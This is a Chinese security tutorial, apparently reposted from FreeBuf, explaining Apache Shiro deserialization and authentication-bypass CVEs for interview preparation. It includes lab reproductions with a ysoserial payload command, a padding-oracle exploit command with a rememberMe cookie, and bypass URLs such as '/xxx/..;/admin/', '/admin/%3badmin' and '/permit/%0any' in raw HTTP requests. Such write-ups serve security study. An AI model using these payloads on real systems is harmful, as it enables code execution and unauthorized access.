天天看點

一文讀懂面試官都在問的shiro漏洞

作者:區塊軟體開發

Shiro-550反序列化漏洞(CVE-2016-4437)

漏洞簡介

shiro-550主要是由shiro的rememberMe内容反序列化導緻的指令執行漏洞,造成的原因是預設加密密鑰是寫死在shiro源碼中,任何有權通路源代碼的人都可以知道預設加密密鑰。于是攻擊者可以建立一個惡意對象,對其進行序列化、編碼,然後将其作為cookie的rememberMe字段内容發送,Shiro 将對其解碼和反序列化,導緻伺服器運作一些惡意代碼。

​ 特征:cookie中含有rememberMe字段

​ 修複建議:

  • 更新shiro到1.2.4以上的版本。
  • 不使用預設的加密密鑰,改為随機生成密鑰。

漏洞原理

一、Shiro簡介

​ Apache Shiro 是一個強大易用的 Java 安全架構,提供了認證、授權、加密和會話管理等功能,對于任何一個應用程式,Shiro 都可以提供全面的安全管理服務。

​ 在Apache Shiro<=1.2.4版本中AES加密時采用的key是寫死在代碼中的,于是我們就可以構造RememberMe的值,然後讓其反序列化執行。

一文讀懂面試官都在問的shiro漏洞

Primary Cocnerns(基本關注點):

  • Authentication(認證):經常和登入挂鈎,是證明使用者說他們是誰的一個工作
  • Authorization(授權):通路控制的過程,即,決定‘誰’可以通路‘什麼
  • Session Management(會話管理):管理使用者特定的會話,即使在非web或是EJB的應用中
  • Crytography(加密):通過加密算法保證資料的安全,且易于使用

Supporting Features(輔助特性):

  • Web Support(網絡支援):web support API可以幫助在web應用中友善的使用shiro
  • Caching(緩存):保證安全操作使用快速有效
  • Concurrency(并發):支援多線程應用
  • Testing(測試):支援內建單元測試
  • Run As(以..運作):可以假定使用者為另一個使用者
  • Remeber Me:記住使用者,無需再次登入

二、Shiro伺服器識别身份加解密處理的流程

1、加密

  1. 使用者使用賬号密碼進行登入,并勾選”Remember Me“。
  2. Shiro驗證使用者登入資訊,通過後,檢視使用者是否勾選了”Remember Me“。
  3. 若勾選,則将使用者身份序列化,并将序列化後的内容進行AES加密,再使用base64編碼。
  4. 最後将處理好的内容放于cookie中的rememberMe字段。

2、解密

  1. 當服務端收到來自未經身份驗證的使用者的請求時,會在用戶端發送請求中的cookie中擷取rememberMe字段内容。
  2. 将擷取到的rememberMe字段進行base64解碼,再使用AES解密。
  3. 最後将解密的内容進行反序列化,擷取到使用者身份。

三、Key

AES加密的密鑰Key被寫死在代碼裡

漏洞複現

攻擊機IP:192.168.0.109

靶機IP:192.168.72.128

1、通路靶機

一文讀懂面試官都在問的shiro漏洞
存在Remember me選項,嘗試抓包
一文讀懂面試官都在問的shiro漏洞

2、漏洞利用

Github上工具很多,我們随便拿一款來進行驗證
一文讀懂面試官都在問的shiro漏洞

爆破密鑰成功後,即可執行指令

一文讀懂面試官都在問的shiro漏洞

Shiro-721反序列化漏洞(CVE-2019-12422)

漏洞簡介

0x01首先講一下面試官經常會問到的一個問題

Shiro550和Shiro721的差別是什麼

Shiro550隻需要通過碰撞key,爆破出來密鑰,就可以進行利用
Shiro721的ase加密的key一般情況下猜不到,是系統随機生成的,并且當存在有效的使用者資訊時才會進入下一階段的流程是以我們需要使用登入後的rememberMe Cookie,才可以進行下一步攻擊
           

0x02 漏洞指紋

  • URL中含有Shiro字段
  • cookie中含有rememberMe字段
  • 傳回包中含有rememberMe

0x03 漏洞介紹

​ 在Shiro721中,Shiro通過AES-128-CBC對cookie中的rememberMe字段進行加密,是以使用者可以通過Padding Oracle加密生成的攻擊代碼來構造惡意的rememberMe字段,進行反序列化攻擊,需要執行的指令越複雜,生成payload需要的時間就越長。

漏洞原理

​ 由于Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,使用者可通過Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe字段,用有效的RememberMe cookie作為Padding Oracle Attack 的字首,然後制作精心制作的RememberMe來執行Java反序列化攻擊

攻擊流程

​ 登入網站,并從cookie中擷取RememberMe。使用RememberMe cookie作為Padding Oracle Attack的字首。加密syserial的序列化有效負載,以通過Padding Oracle Attack制作精心制作的RememberMe。請求帶有新的RememberMe cookie的網站,以執行反序列化攻擊。攻擊者無需知道RememberMe加密的密碼密鑰。

AES-128-CBC

屬于AES加密算法的CBC模式,使用128位資料塊為一組進行加密解密,即16位元組明文,對應16位元組密文,,明文加密時,如果資料不夠16位元組,則會将資料補全剩餘位元組

  • 若最後剩餘的明文不夠16位元組,需要進行填充,通常采用PKCS7進行填充。比如最後缺3個位元組,則填充3個位元組的0x03;若最後缺10個位元組,則填充10個位元組的0x0a;
  • 若明文正好是16個位元組的整數倍,最後要再加入一個16位元組0x10的組再進行加密

Padding Oracle Attack原理

​ Padding Oracle攻擊可以在沒有密鑰的情況下加密或解密密文

​ Shiro Padding Oracle Attack(Shiro填充Oracle攻擊)是一種針對Apache Shiro身份驗證架構的安全漏洞攻擊。Apache Shiro是Java應用程式中廣泛使用的身份驗證和授權架構,用于管理使用者會話、權限驗證等功能。

​ Padding Oracle Attack(填充Oracle攻擊)是一種針對加密算法使用填充的安全漏洞攻擊。在加密通信中,填充用于将明文資料擴充到加密算法塊大小的倍數。在此攻擊中,攻擊者利用填充的響應資訊來推斷出加密算法中的秘密資訊。

​ Shiro Padding Oracle Attack利用了Shiro架構中的身份驗證過程中的一個漏洞,該漏洞允許攻擊者通過填充資訊的不同響應時間來确定身份驗證過程中的錯誤。通過不斷嘗試不同的填充方式,攻擊者可以逐漸推斷出加密秘鑰,并最終擷取通路權限。

​ 這種攻擊利用了填充錯誤的身份驗證響應來擷取關于秘密資訊的資訊洩漏,然後根據這些資訊進行進一步的攻擊。為了防止Shiro Padding Oracle Attack,建議及時更新Apache Shiro版本,確定已修複該漏洞,并采取其他安全措施,如使用安全的加密算法和密鑰管理政策。

漏洞複現

1、拉取環境

docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721
           
一文讀懂面試官都在問的shiro漏洞
環境啟動完成後,在本地浏覽器通路靶場位址:your-ip:8080
一文讀懂面試官都在問的shiro漏洞

2、攻擊環節

​ 0x01 登入成功後,我們從Cookie中擷取到rememberMe字段的值

一文讀懂面試官都在問的shiro漏洞

0x02 使用ysoserial生成Payload

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class
           
一文讀懂面試官都在問的shiro漏洞

0x03 使用rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊。

python shiro_exp.py http://47.95.201.15:8080/account/ k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class
           
一文讀懂面試官都在問的shiro漏洞

生成的payload.class内容越多時間就越長,是以盡量選擇較短的指令執行來複現漏洞即可。最終會生成如下rememberMe cookies

一文讀懂面試官都在問的shiro漏洞

我們将跑出來的Cookie添加到資料包中進行發送,就可以 發現在靶機中成果建立了對應的檔案。

一文讀懂面試官都在問的shiro漏洞
到這未知其實經常遇到的Shrio漏洞已經表述的差不多了,下面幾個是shiro存在但是在現實中利用難度大或者是比較少的洞,可以簡單了解一下

Shiro 認證繞過漏洞(CVE-2020-1957)

漏洞原理

​ 在Apache Shiro 1.5.2以前的版本中,在使用Spring動态控制器時,攻擊者通過構造..;這樣的跳轉,可以繞過Shiro中對目錄的權限限制。

URL請求過程:

  • 用戶端請求URL:/xxx/..;/admin/
  • Shrio 内部處理得到校驗URL為/xxxx/..,校驗通過
  • SpringBoot 處理/xxx/..;/admin/, 最終請求/admin/, 成功通路了背景請求。

漏洞複現

1、權限配置

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}
           

2、預設狀态

直接請求管理頁面/admin/,無法通路,将會被重定向到登入頁面

一文讀懂面試官都在問的shiro漏洞

3、繞過POC

構造惡意請求/xxx/..;/admin/,即可繞過權限校驗,通路到管理頁面:

一文讀懂面試官都在問的shiro漏洞
一文讀懂面試官都在問的shiro漏洞

Shiro 身份驗證繞過 (CVE-2020-13933)

漏洞簡介

​ CVE-2020-11989的修複更新檔存在缺陷,在1.5.3及其之前的版本,由于shiro在處理url時與spring仍然存在差異,依然存在身份校驗繞過漏洞由于處理身份驗證請求時出錯,遠端攻擊者可以發送特制的HTTP請求,繞過身份驗證過程并獲得對應用程式的未授權通路。

​ 該漏洞産生的原因主要是shiro層在處理url上和spring上存在差異,主要是在處理;上的問題,通過構造含有;符号的url即可繞過shiro在權限上的處理,而spring不負責權限管控,是以最終會導緻權限繞過。ant風格的路徑僅出現一個*時才能成功,而**無法繞過,*:比對一個或者多個任意的字元。

**:比對零個或者多個目錄。

漏洞複現

1、開啟環境

一文讀懂面試官都在問的shiro漏洞

2、正常通路敏感界面

/admin/admin

一文讀懂面試官都在問的shiro漏洞
提示讓我們登入

3、通過%3b繞過,不觸發身份驗證并且繞過權限

/admin/%3badmin

一文讀懂面試官都在問的shiro漏洞

Shiro 授權繞過 (CVE-2022-32532)

漏洞簡介

Apache Shiro是一個強大且易用的Java安全架構,執行身份驗證、授權、密碼和會話管理。

1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被錯誤配置為在某些 servlet 容器上被繞過。在正規表達式中使用帶有.的 RegExPatternMatcher 的應用程式可能容易受到授權繞過。

漏洞概述

2022年6月29日,Apache 官方披露 Apache Shiro 權限繞過漏洞(CVE-2022-32532),當 Apache Shiro 中使用 RegexRequestMatcher 進行權限配置,且正規表達式中攜帶“.”時,未經授權的遠端攻擊者可通過構造惡意資料包繞過身份認證。

影響範圍

Apache Shiro < 1.9.1

利用流程

通路

一文讀懂面試官都在問的shiro漏洞

抓包修改

GET /permit/any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
           
一文讀懂面試官都在問的shiro漏洞

需要攜帶token字段

一文讀懂面試官都在問的shiro漏洞

改包繞過

GET /permit/%0any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
           
一文讀懂面試官都在問的shiro漏洞
from https://www.freebuf.com/articles/web/367363.html

繼續閱讀